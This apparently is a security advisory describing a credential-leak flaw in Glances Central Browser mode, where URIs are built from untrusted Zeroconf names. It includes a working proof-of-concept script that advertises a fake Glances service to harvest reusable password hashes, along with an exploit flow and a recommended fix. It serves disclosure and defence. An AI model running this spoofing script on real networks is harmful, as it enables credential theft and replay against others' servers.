+ "details": "## Summary\n\nIn Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential.\n\nAn attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.\n\n## Details\n\nDynamic server discovery keeps both a short `name` and a separate `ip`:\n\n```python\n# glances/servers_list_dynamic.py:56-61\ndef add_server(self, name, ip, port, protocol='rpc'):\n new_server = {\n 'key': name,\n 'name': name.split(':')[0], # Short name\n 'ip': ip, # IP address seen by the client\n 'port': port,\n ...\n 'type': 'DYNAMIC',\n }\n```\n\nThe Zeroconf listener populates those fields directly from the service advertisement:\n\n```python\n# glances/servers_list_dynamic.py:112-121\nnew_server_ip = socket.inet_ntoa(address)\nnew_server_port = info.port\n...\nself.servers.add_server(\n srv_name,\n new_server_ip,\n new_server_port,\n protocol=new_server_protocol,\n)\n```\n\nHowever, the Central Browser connection logic ignores `server['ip']` and instead uses the untrusted advertised `server['name']` for both password lookup and the destination URI:\n\n```python\n# glances/servers_list.py:119-130\ndef get_uri(self, server):\n if server['password'] != \"\":\n if server['status'] == 'PROTECTED':\n clear_password = self.password.get_password(server['name'])\n if clear_password is not None:\n server['password'] = self.password.get_hash(clear_password)\n uri = 'http://{}:{}@{}:{}'.format(\n server['username'],\n server['password'],\n server['name'],\n server['port'],\n )\n else:\n uri = 'http://{}:{}'.format(server['name'], server['port'])\n return uri\n```\n\nThat URI is used automatically by the background polling thread:\n\n```python\n# glances/servers_list.py:141-143\ndef __update_stats(self, server):\n server['uri'] = self.get_uri(server)\n```\n\nThe password lookup itself falls back to the global default password when there is no exact match:\n\n```python\n# glances/password_list.py:45-58\ndef get_password(self, host=None):\n ...\n try:\n return self._password_dict[host]\n except (KeyError, TypeError):\n try:\n return self._password_dict['default']\n except (KeyError, TypeError):\n return None\n```\n\nThe sample configuration explicitly supports that `default` credential reuse:\n\n```ini\n# conf/glances.conf:656-663\n[passwords]\n# Define the passwords list related to the [serverlist] section\n# ...\n#default=defaultpassword\n```\n\nThe secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:\n\n```python\n# glances/password.py:72-74,94\n# For Glances client, get the password (confirm=False, clear=True):\n# 2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\npassword = password_hash\n```\n\n```python\n# glances/client.py:55-57\nif args.password != \"\":\n self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'\n```\n\nThere is an inconsistent trust boundary in the interactive browser code as well:\n\n- `glances/client_browser.py:44` opens the REST/WebUI target via `webbrowser.open(self.servers_list.get_uri(server))`, which again trusts `server['name']`\n- `glances/client_browser.py:55` fetches saved passwords with `self.servers_list.password.get_password(server['name'])`\n- `glances/client_browser.py:76` uses `server['ip']` for the RPC client connection\n\nThat asymmetry shows the intended safe destination (`ip`) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.\n\n### Exploit Flow\n\n1. The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in `[passwords]` (especially `default=...`).\n2. An attacker on the same multicast domain advertises a fake `_glances._tcp.local.` service with an attacker-controlled service name.\n3. Glances stores the discovered server as `{'name': <advertised-name>, 'ip': <discovered-ip>, ...}`.\n4. The background stats refresh calls `get_uri(server)`.\n5. Once the fake server causes the entry to become `PROTECTED`, `get_uri()` looks up a saved password by the attacker-controlled `name`, falls back to `default` if present, hashes it, and builds `http://username:hash@<advertised-name>:<port>`.\n6. The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.\n\n## PoC\n\n### Step 1: Verified local logic proof\n\nThe following command executes the real `glances/servers_list.py` `get_uri()` implementation (with unrelated imports stubbed out) and demonstrates that:\n\n- password lookup happens against `server['name']`, not `server['ip']`\n- the generated credential-bearing URI uses `server['name']`, not `server['ip']`\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@'\nimport importlib.util\nimport sys\nimport types\nfrom pathlib import Path\n\npkg = types.ModuleType('glances')\npkg.__apiversion__ = '4'\nsys.modules['glances'] = pkg\n\nclient_mod = types.ModuleType('glances.client')\nclass GlancesClientTransport: pass\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules['glances.client'] = client_mod\n\nglobals_mod = types.ModuleType('glances.globals')\nglobals_mod.json_loads = lambda x: x\nsys.modules['glances.globals'] = globals_mod\n\nlogger_mod = types.ModuleType('glances.logger')\nlogger_mod.logger = types.SimpleNamespace(\n debug=lambda *a, **k: None,\n warning=lambda *a, **k: None,\n info=lambda *a, **k: None,\n error=lambda *a, **k: None,\n)\nsys.modules['glances.logger'] = logger_mod\n\npassword_list_mod = types.ModuleType('glances.password_list')\nclass GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules['glances.password_list'] = password_list_mod\n\ndynamic_mod = types.ModuleType('glances.servers_list_dynamic')\nclass GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules['glances.servers_list_dynamic'] = dynamic_mod\n\nstatic_mod = types.ModuleType('glances.servers_list_static')\nclass GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules['glances.servers_list_static'] = static_mod\n\nspec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass FakePassword:\n def get_password(self, host=None):\n print(f'lookup:{host}')\n return 'defaultpassword'\n def get_hash(self, password):\n return f'hash({password})'\n\nsl = GlancesServersList.__new__(GlancesServersList)\nsl.password = FakePassword()\nserver = {\n 'name': 'trusted-host',\n 'ip': '203.0.113.77',\n 'port': 61209,\n 'username': 'glances',\n 'password': None,\n 'status': 'PROTECTED',\n 'type': 'DYNAMIC',\n}\n\nprint(sl.get_uri(server))\nprint(server)\n'@ | python -\n```\n\nVerified output:\n\n```text\nlookup:trusted-host\nhttp://glances:hash(defaultpassword)@trusted-host:61209\n{'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': 'hash(defaultpassword)', 'status': 'PROTECTED', 'type': 'DYNAMIC'}\n```\n\nThis confirms the code path binds credentials to the advertised `name` and ignores the discovered `ip`.\n\n### Step 2: Live network reproduction\n\n1. Configure a reusable browser password:\n\n```ini\n# glances.conf\n[passwords]\ndefault=SuperSecretBrowserPassword\n```\n\n2. Start Glances in Central Browser mode on the victim machine:\n\n```bash\nglances --browser -C ./glances.conf\n```\n\n3. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes `PROTECTED`:\n\n```python\nfrom zeroconf import ServiceInfo, Zeroconf\nimport socket\nimport time\n\nzc = Zeroconf()\ninfo = ServiceInfo(\n \"_glances._tcp.local.\",\n \"198.51.100.50:61209._glances._tcp.local.\",\n addresses=[socket.inet_aton(\"198.51.100.50\")],\n port=61209,\n properties={b\"protocol\": b\"rpc\"},\n server=\"ignored.local.\",\n)\nzc.register_service(info)\ntime.sleep(600)\n```\n\n4. On the next Central Browser refresh, Glances first probes the fake server, marks it `PROTECTED`, then retries with:\n\n```text\nhttp://glances:<pbkdf2_hash_of_default_password>@198.51.100.50:61209\n```\n\n5. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.\n\n## Impact\n\n- **Credential exfiltration from browser operators:** An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.\n- **Authentication replay:** The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.\n- **REST/WebUI click-through abuse:** For REST servers, `webbrowser.open(self.servers_list.get_uri(server))` can open attacker-controlled URLs with embedded credentials.\n- **No user click required for background theft:** The stats refresh thread uses the vulnerable path automatically once the fake service is marked `PROTECTED`.\n- **Affected scope:** This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.\n\n## Recommended Fix\n\nUse the discovered `ip` as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.\n\n```python\n# glances/servers_list.py\n\ndef _get_connect_host(self, server):\n if server.get('type') == 'DYNAMIC':\n return server['ip']\n return server['name']\n\ndef _get_preconfigured_password(self, server):\n # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds\n if server.get('type') == 'DYNAMIC':\n return None\n return self.password.get_password(server['name'])\n\ndef get_uri(self, server):\n host = self._get_connect_host(server)\n if server['password'] != \"\":\n if server['status'] == 'PROTECTED':\n clear_password = self._get_preconfigured_password(server)\n if clear_password is not None:\n server['password'] = self.password.get_hash(clear_password)\n return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port'])\n return 'http://{}:{}'.format(host, server['port'])\n```\n\nAnd use the same `_get_preconfigured_password()` logic in `glances/client_browser.py` instead of calling `self.servers_list.password.get_password(server['name'])` directly.",
0 commit comments